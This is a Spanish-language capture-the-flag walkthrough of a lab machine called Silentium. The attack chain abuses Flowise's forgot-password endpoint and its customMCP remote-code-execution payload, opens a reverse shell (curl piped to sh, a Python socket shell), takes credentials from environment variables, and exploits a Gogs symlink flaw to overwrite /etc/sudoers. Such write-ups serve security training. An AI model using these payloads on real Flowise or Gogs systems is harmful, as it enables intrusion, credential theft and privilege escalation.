Silentium corre Flowise AI con multiples vulnerabilidades. La primera permitio obtener el token para un usuario que posteriormente utilizamos en una segunda para obtener acceso inicial en un contenedor de docker. En este se encontraron credenciales en las variables de entorno que nos permitio el acceso por SSH. Finalmente se escalaron privilegios mediante una version de gogs vulnerable con enlaces simbolicos.
| Nombre |
Silentium |
| OS |
Linux  |
| Puntos |
20 |
| Dificultad |
Easy |
| Fecha de Salida |
2026-04-11 |
| IP |
10.129.63.146 |
| Maker |
7u9y |
|
Rated
|
{
"type": "bar",
"data": {
"labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
"datasets": [{
"label": "User Rated Difficulty",
"data": [52, 49, 269, 167, 70, 14, 17, 3, 0, 8],
"backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
}]
},
"options": {
"scales": {
"xAxes": [{"display": false}],
"yAxes": [{"display": false}]
},
"legend": {"labels": {"fontColor": "white"}},
"responsive": true
}
}
|
Recon
nmap
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
# Nmap 7.95 scan initiated Sat Apr 11 22:30:16 2026 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.129.107.74
Nmap scan report for 10.129.107.74
Host is up (0.27s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 11 22:30:32 2026 -- 1 IP address (1 host up) scanned in 15.96 seconds
|
Agregamos a nuestro archivo /etc/hosts el dominio silentium.htb.
Web Site
Los headers del sitio muestran un nginx/1.24.0.
1
2
3
4
5
6
7
8
9
10
11
12
|
❯ curl -sI silentium.htb
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 12 Apr 2026 04:32:13 GMT
Content-Type: text/html
Content-Length: 8753
Last-Modified: Mon, 16 Mar 2026 22:21:29 GMT
Connection: keep-alive
ETag: "69b88269-2231"
Accept-Ranges: bytes
❯
|
El sitio tiene una tematica de economia.

Se describe al equipo de la empresa para posibles nombres de usuario.

Directory Brute Forcing
feroxbuster muestra unicamente el directorio assets.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
❯ feroxbuster -u http://silentium.htb/ -w $MD
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://silentium.htb/
🚩 In-Scope Url │ silentium.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 251l 725w 8753c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 7l 12w 178c http://silentium.htb/assets => http://silentium.htb/assets/
[####################] - 21m 441092/441092 0s found:1 errors:0
[####################] - 21m 220546/220546 178/s http://silentium.htb/
[####################] - 21m 220546/220546 178/s http://silentium.htb/assets/
❯
|
Subdomain Discovery
Tras ejecutar ffuf este muestra el subdominio staging.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
❯ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.silentium.htb" -u http://silentium.htb -fw 6
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://silentium.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.silentium.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 6
________________________________________________
staging [Status: 200, Size: 3142, Words: 789, Lines: 70, Duration: 286ms]
:: Progress: [151265/151265] :: Job [1/1] :: 146 req/sec :: Duration: [0:17:35] :: Errors: 0 ::
❯
|
staging.silentium.htb
Encontramos un formulario de login.

Basados en el contenido HTML identificamos FlowiseAI.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<meta
property="og:description"
content="Open source generative AI development platform for building AI agents, LLM orchestration, and more"
/>
<!-- Twitter -->
<meta property="twitter:card" content="summary_large_image" />
<meta property="twitter:url" content="https://twitter.com/FlowiseAI" />
<meta property="twitter:title" content="Flowise - Build AI Agents, Visually" />
<meta
property="twitter:description"
content="Open source generative AI development platform for building AI agents, LLM orchestration, and more"
/>
<meta name="twitter:creator" content="@FlowiseAI" />
|
Flowise AI - Multiple Vulnerabilities
A traves del login nos permite enumerar si el usuario/email existe a traves de solicitudes al login.

Observamos que el usuario/email ben@silentium.htb es aceptado.

Creamos un wordlist con usernames basados en los nombres del sitio.
1
2
3
4
|
❯ ../tools/usernames.py names.txt > pusernames.txt
❯ wc -l pusernames.txt
30 pusernames.txt
❯
|
Unicamente encontramos al usuario ben.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
❯ ffuf -w pusernames.txt -u http://staging.silentium.htb/api/v1/auth/login -d '{"email":"FUZZ@silentium.htb","password":"password"}' -H 'Content-Type: application/json'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://staging.silentium.htb/api/v1/auth/login
:: Wordlist : FUZZ: /home/kali/htb/silentium/pusernames.txt
:: Header : Content-Type: application/json
:: Data : {"email":"FUZZ@silentium.htb","password":"password"}
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
ben [Status: 401, Size: 85, Words: 4, Lines: 1, Duration: 320ms]
:: Progress: [30/30] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
❯
|
Version
Encontramos que la version es 3.0.5 .
1
2
3
4
5
|
❯ curl -s http://staging.silentium.htb/api/v1/version | jq
{
"version": "3.0.5"
}
❯
|
FlowiseAI tiene multiples vulnerabilidades, basados en la version encontrada tiene un gran numero que aplican, una de estas se encuentra en el endpoint /api/v1/account/forgot-password que, a traves de un email/usuario conocido es posible obtener informacion sensible. Tras ejecutar el PoC con el email del usuario al endpoint, este retorna la contrasena encriptada y un token temporal, entro otros datos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
❯ curl -s http://staging.silentium.htb/api/v1/account/forgot-password -d '{"user":{"email":"ben@silentium.htb"}}' -H 'Content-type: application/json' | jq
{
"user": {
"id": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
"name": "admin",
"email": "ben@silentium.htb",
"credential": "$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG",
"tempToken": "oz712GmDJNj7yMxvqRuDkeXj0nfzcDXM8uqyeLnOKQZnAjB74NEXv4uPoP6urVoy",
"tokenExpiry": "2026-04-12T05:30:46.729Z",
"status": "active",
"createdDate": "2026-01-29T20:14:57.000Z",
"updatedDate": "2026-04-12T05:15:46.000Z",
"createdBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
"updatedBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73"
},
"organization": {},
"organizationUser": {},
"workspace": {},
"workspaceUser": {},
"role": {}
}
❯
|
El hash de contrasena no aparece en el wordlist rockyou.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
PS C:\Users\sckull\Documents\github\hashcat-7.1.2> .\hashcat.exe -m 3200 '$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG' .\rockyou.txt
hashcat (v7.1.2) starting
# ... skip ...
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9B...s2pWhG
Time.Started.....: Sat Apr 11 23:19:28 2026 (13 mins, 44 secs)
Time.Estimated...: Sat Apr 11 23:33:12 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-72 bytes)
Guess.Base.......: File (.\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 18581 H/s (14.84ms) @ Accel:1 Loops:32 Thr:11 Vec:1
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 786/14344385 (0.01%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-32
Candidate.Engine.: Device Generator
Candidates.#01...: matavesi -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Temp: 47c Fan: 0% Util: 95% Core:2235MHz Mem:8251MHz Bus:8
Started: Sat Apr 11 23:19:22 2026
Stopped: Sat Apr 11 23:33:12 2026
PS C:\Users\sckull\Documents\github\hashcat-7.1.2>
|
Change Password
Utilizamos el valor de tempToken para realizar un cambio de contrasena (Supp3rduperP4ss!).

Al aceptarlo nos redirige al login.

La contrasena permite el acceso al dashboard.

CVE-2025-59528
Tambien, para esta version que permite la ejecucion remota de comandos (RCE) a traves de CustomMCP. En el PoC se indican el comando a ejecutar a traves de codigo.
1
2
3
4
5
6
7
8
9
|
curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \
-d '{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"echo !!RCE-OK!! >/tmp/RCE.txt\");return 1;})()})"
}
}'
|
Para ejecutar el PoC obtuvimos la apikey del usuario en el dashboard.

Realizamos la ejecucion de curl 10.10.14.30 con el PoC.
1
2
3
4
5
6
7
8
9
|
curl -sX POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "Authorization: Bearer hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc" \
-d '{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"curl 10.10.14.30\");return 1;})()})"
}
}'
|
Confirmamos la ejecucion del comando al obtener una solicitud en nuestro servidor.
1
2
3
|
❯ httphere .
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.107.74 - - [11/Apr/2026 23:59:28] "GET / HTTP/1.1" 200 -
|
User - root (Docker)
Ejecutamos una shell inversa con shells logrando el acceso como root en un contenedor de docker.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
❯ rlwrap nc -lvp 1336
listening on [any] 1336 ...
connect to [10.10.14.30] from silentium.htb [10.129.107.74] 57186
/bin/sh: can't access tty; job control turned off
/ # whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/
/ # ls -lah
total 68K
drwxr-xr-x 1 root root 4.0K Apr 8 15:14 .
drwxr-xr-x 1 root root 4.0K Apr 8 15:14 ..
-rwxr-xr-x 1 root root 0 Apr 8 15:14 .dockerenv
drwxr-xr-x 1 root root 4.0K Jul 16 2025 bin
drwxr-xr-x 5 root root 340 Apr 12 04:08 dev
drwxr-xr-x 1 root root 4.0K Apr 8 15:14 etc
drwxr-xr-x 1 root root 4.0K Jul 16 2025 home
drwxr-xr-x 1 root root 4.0K Jul 15 2025 lib
drwxr-xr-x 5 root root 4.0K Jul 15 2025 media
drwxr-xr-x 2 root root 4.0K Jul 15 2025 mnt
drwxr-xr-x 1 root root 4.0K Jul 16 2025 opt
dr-xr-xr-x 286 root root 0 Apr 12 04:08 proc
drwx------ 1 root root 4.0K Apr 8 09:41 root
drwxr-xr-x 3 root root 4.0K Jul 15 2025 run
drwxr-xr-x 2 root root 4.0K Jul 15 2025 sbin
drwxr-xr-x 2 root root 4.0K Jul 15 2025 srv
dr-xr-xr-x 13 root root 0 Apr 12 04:08 sys
drwxrwxrwt 1 root root 4.0K Apr 8 09:41 tmp
drwxr-xr-x 1 root root 4.0K Apr 8 09:41 usr
drwxr-xr-x 1 root root 4.0K Jul 15 2025 var
/ #
|
El comando env muestra dos contrasenas.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
~ # env
FLOWISE_PASSWORD=F1l3_d0ck3r
ALLOW_UNAUTHORIZED_CERTS=true
NODE_VERSION=20.19.4
HOSTNAME=c78c3cceb7ba
YARN_VERSION=1.22.22
SMTP_PORT=1025
SHLVL=4
PORT=3000
HOME=/root
OLDPWD=/home/node
SENDER_EMAIL=ben@silentium.htb
PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
JWT_ISSUER=ISSUER
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
LLM_PROVIDER=nvidia-nim
SMTP_USERNAME=test
SMTP_SECURE=false
JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200
FLOWISE_USERNAME=ben
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DATABASE_PATH=/root/.flowise
JWT_TOKEN_EXPIRY_IN_MINUTES=360
JWT_AUDIENCE=AUDIENCE
SECRETKEY_PATH=/root/.flowise
PWD=/root
SMTP_PASSWORD=r04D!!_R4ge
NVIDIA_NIM_LLM_MODE=managed
SMTP_HOST=mailhog
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USER=test
~ #
|
Una de estas permite el acceso por ssh.
1
2
3
4
|
❯ netexec ssh silentium.htb -u ben -p 'r04D!!_R4ge'
SSH 10.129.107.74 22 silentium.htb [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.15
SSH 10.129.107.74 22 silentium.htb [+] ben:r04D!!_R4ge Linux - Shell access!
❯
|
User - Ben
Con las credenciales logramos una shell ssh y la lectura de user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
❯ ssh ben@silentium.htb
The authenticity of host 'silentium.htb (10.129.107.74)' can't be established.
ED25519 key fingerprint is: SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:12: [hashed name]
~/.ssh/known_hosts:24: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'silentium.htb' (ED25519) to the list of known hosts.
ben@silentium.htb's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-107-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Apr 12 06:07:40 AM UTC 2026
System load: 0.08
Usage of /: 83.4% of 13.37GB
Memory usage: 21%
Swap usage: 0%
Processes: 231
Users logged in: 0
IPv4 address for eth0: 10.129.107.74
IPv6 address for eth0: dead:beef::250:56ff:feb9:66e7
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Apr 8 19:12:55 2026 from 10.10.14.5
ben@silentium:~$ whoami;id;pwd
ben
uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users)
/home/ben
ben@silentium:~$ ls
user.txt
ben@silentium:~$ cat user.txt
416d6104fc69c16761aca0ee40a39124
ben@silentium:~$
|
Entre los procesos encontramos la ejecucion de gogs y docker-proxy.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
ben@silentium:~$ ps -ef | grep root
root 1 0 0 04:08 ? 00:00:02 /sbin/init
# [.. skip ..]
root 748 1 0 04:08 ? 00:00:00 dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root 814 1 0 04:08 ? 00:00:00 /usr/lib/systemd/systemd-logind
root 815 1 0 04:08 ? 00:00:00 /usr/libexec/udisks2/udisksd
root 965 2 0 04:08 ? 00:00:00 [kworker/u4:2-ext4-rsv-conversion]
root 998 1 0 04:08 ? 00:00:00 /usr/sbin/ModemManager
root 1504 1 0 04:08 ? 00:00:02 /opt/gogs/gogs/gogs web
root 1506 1 0 04:08 ? 00:00:00 /usr/sbin/cron -f -P
root 1510 1 0 04:08 ? 00:00:16 /usr/bin/containerd
root 1532 1 0 04:08 ? 00:00:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
root 1534 1 0 04:08 tty1 00:00:00 /sbin/agetty -o -p -- \u --noclear - linux
root 1564 1 0 04:08 ? 00:00:10 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 1868 1 0 04:08 ? 00:00:01 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 728f8ff4efe14eb458cb6dab2edfe106c92d48614a3a56905c6913b67ecfd1fb -address /run/containerd/containerd.sock
root 1871 1 0 04:08 ? 00:00:08 /usr/bin/containerd-shim-runc-v2 -namespace moby -id c78c3cceb7ba574e930e611b7403d1bd1fa04ba5b6dc9e9ca066e59637a4064c -address /run/containerd/containerd.sock
root 1912 1871 0 04:08 ? 00:00:30 node /usr/local/bin/flowise start
root 1983 1564 0 04:08 ? 00:00:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 3000 -container-ip 172.18.0.2 -container-port 3000 -use-listen-fd
root 2015 1564 0 04:08 ? 00:00:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 1025 -container-ip 172.18.0.3 -container-port 1025 -use-listen-fd
root 2021 1564 0 04:08 ? 00:00:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8025 -container-ip 172.18.0.3 -container-port 8025 -use-listen-fd
root 3337 1 0 04:19 ? 00:00:02 /usr/libexec/fwupd/fwupd
root 3344 1 0 04:19 ? 00:00:00 /usr/libexec/upowerd
root 4555 1 0 04:30 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
# [.. skip ..]
root 14814 1912 0 06:05 ? 00:00:00 /bin/sh -c curl 10.10.14.30:8000/10.10.14.30:1336|sh
root 14816 14814 0 06:05 ? 00:00:00 sh
root 14817 14816 0 06:05 ? 00:00:00 python -c import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.14.30",1336)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);
root 14818 14817 0 06:05 ? 00:00:00 /bin/sh -i
# [.. skip ..]
ben@silentium:~$
|
Se indican multiples puertos a la escucha localmente.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
ben@silentium:~$ netstat -ntpl
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8025 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:1025 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:43177 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
ben@silentium:~$
|
Para los puertos especificados en docker es MailHog.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
ben@silentium:~$ nc 127.0.0.1 1025
220 mailhog.example ESMTP MailHog
^C
ben@silentium:~$ curl 127.0.0.1:8025
<!DOCTYPE html>
<html ng-app="mailhogApp">
<head>
<title>MailHog</title>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="referrer" content="no-referrer">
<link rel="icon" type="image/png" href="images/hog.png">
<link rel="stylesheet" href="css/jquery-ui-1.10.4-smoothness.css">
<link rel="stylesheet" href="css/bootstrap-3.3.2.min.css">
<link rel="stylesheet" href="css/style.css">
</head>
# .. skip ..
ben@silentium:~$
|
En el caso de gogs, este se encuentra en el puerto 3001.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
ben@silentium:~$ curl -s 127.0.0.1:3001 | head -15
<!DOCTYPE html>
<html>
<head data-suburl="">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>
<meta name="author" content="Gogs" />
<meta name="description" content="Gogs is a painless self-hosted Git service" />
<meta name="keywords" content="go, git, self-hosted, gogs">
<meta name="referrer" content="no-referrer" />
<meta name="_csrf" content="HIKdqqszuFiO4f9I-HM9La5WrOc6MTc3NTk3NDQwMTk4NzI5Njc2NQ" />
<meta name="_suburl" content="" />
ben@silentium:~$
|
Encontramos que la version de gogs es 0.13.3.
1
2
3
|
ben@silentium:/opt/gogs/gogs$ ./gogs --version
Gogs version 0.13.3
ben@silentium:/opt/gogs/gogs$
|
Port Forwarding
Obtuvimos localmente los puertos 3001 y 8025.
1
2
3
4
5
6
7
8
9
10
|
❯ ssh ben@silentium.htb -L 3001:localhost:3001 -L 8025:127.0.0.1:8025 -fN
ben@silentium.htb's password:
❯ netstat -ntpl | grep ssh
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.1:8025 0.0.0.0:* LISTEN 97623/ssh
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN 97623/ssh
tcp6 0 0 ::1:8025 :::* LISTEN 97623/ssh
tcp6 0 0 ::1:3001 :::* LISTEN 97623/ssh
❯
|
MailHog
El puerto 8025 unicamente muestra emails para reiniciar la contrasena, esto para la plataforma de FlowiseAI.

Gogs
En Gogs unicamente encontramos al usuario ben.

Privesc via CVE-2025-64111
Gogs tiene una vulnerabilidad que permite la ejecucion de comandos a traves de enlaces simbolicos en un respositorio. El PoC utiliza el archivo .git/config, el parametro sshCommand para la ejecucion de comandos.
Exploit
Para realizar la explotacion creamos un usuario en gogs.

Creamos un token que nos serviria para la solicitud final en la API.


Creamos un repositorio inicializado utilizando la interfaz de gogs y clonamos localmente.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
❯ git clone http://127.0.0.1:3001/sckull/mal_repo
Cloning into 'mal_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (3/3), 215 bytes | 215.00 KiB/s, done.
❯ cd mal_repo
❯ git status
On branch master
Your branch is up to date with 'origin/master'.
nothing to commit, working tree clean
❯
|
Se menciona que la explotacion de la vulnerabilidad escribe en el archivo del enlace simbolico, esto permitiria escribir en archivos como /etc u otro archivo. Para este caso apuntamos al archivo /etc/sudoers para que ben pueda ejecutar cualquier comando como sudo. Se creo la configuracion para este archivo.
1
2
3
4
5
6
7
8
|
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
Defaults use_pty
root ALL=(ALL:ALL) ALL
ben ALL=(ALL:ALL) ALL
%sudo ALL=(ALL:ALL) ALL
@includedir /etc/sudoers.d
|
Se configuro el repositorio, se agrego el enlace simbolico, se creo un commit y se enviaron los cambios.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
❯ git config --global user.email "sckull@silentium.htb"
❯ git config --global user.name "sckull"
❯ ln -s /etc/sudoers link
❯ git add link
❯ git commit -m 'add' && git push
[master 037dbc8] add
1 file changed, 1 insertion(+)
create mode 120000 link
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 4 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 275 bytes | 275.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Username for 'http://127.0.0.1:3001': sckull
Password for 'http://sckull@127.0.0.1:3001':
To http://127.0.0.1:3001/sckull/mal_repo
eebef1a..037dbc8 master -> master
❯
|
Se realizo la solicitud final con curl especificando el enlace simbolico y el contenido para este.
1
2
3
4
5
6
|
❯ curl -sX PUT "http://localhost:3001/api/v1/repos/sckull/mal_repo/contents/link" \
-H "Authorization: token d4667b4c3625dafe7dba5b2f3e8859ae1c7452cd" \
-H "Content-Type: application/json" \
-d '{"message":"update sudoers","content":"RGVmYXVsdHMJZW52X3Jlc2V0DQpEZWZhdWx0cwltYWlsX2JhZHBhc3MNCkRlZmF1bHRzCXNlY3VyZV9wYXRoPSIvdXNyL2xvY2FsL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9zYmluOi91c3IvYmluOi9zYmluOi9iaW4iDQpEZWZhdWx0cwl1c2VfcHR5DQpyb290CUFMTD0oQUxMOkFMTCkgQUxMDQpiZW4JQUxMPShBTEw6QUxMKSBBTEwNCiVzdWRvCUFMTD0oQUxMOkFMTCkgQUxMDQpAaW5jbHVkZWRpciAvZXRjL3N1ZG9lcnMuZA=="}' | jq | echo
❯
|
Observamos que el archivo tuvo un cambio por la diferencia de fecha.
1
2
3
4
5
|
ben@silentium:~$ ls -lah /etc/sudoers
-r--r----- 1 root root 1.8K Jan 29 2024 /etc/sudoers
ben@silentium:~$ ls -lah /etc/sudoers
-r--r----- 1 root root 244 Apr 12 08:32 /etc/sudoers
ben@silentium:~$
|
Tras ejecutar sudo -l -l, este muestra que puede ejecutar cualquier comando.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
ben@silentium:~$ sudo -l -l
[sudo] password for ben:
Matching Defaults entries for ben on silentium:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User ben may run the following commands on silentium:
Sudoers entry: /etc/sudoers
RunAsUsers: ALL
RunAsGroups: ALL
Commands:
ALL
ben@silentium:~$ sudo bash
|
Ejecutamos bash con sudo logrando obtener root y la flag root.txt.
1
2
3
4
5
6
7
8
9
|
ben@silentium:~$ sudo bash
root@silentium:/home/ben# whoami
root
root@silentium:/home/ben# cd
root@silentium:~# ls
gogs-repositories root.txt
root@silentium:~# cat root.txt
174509bd4e99721f12b4bbd7f23971c1
root@silentium:~#
|
Podemos observar los cambios en /etc/sudoers.
1
2
3
4
5
6
7
8
9
|
root@silentium:~# cat /etc/sudoers
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
Defaults use_pty
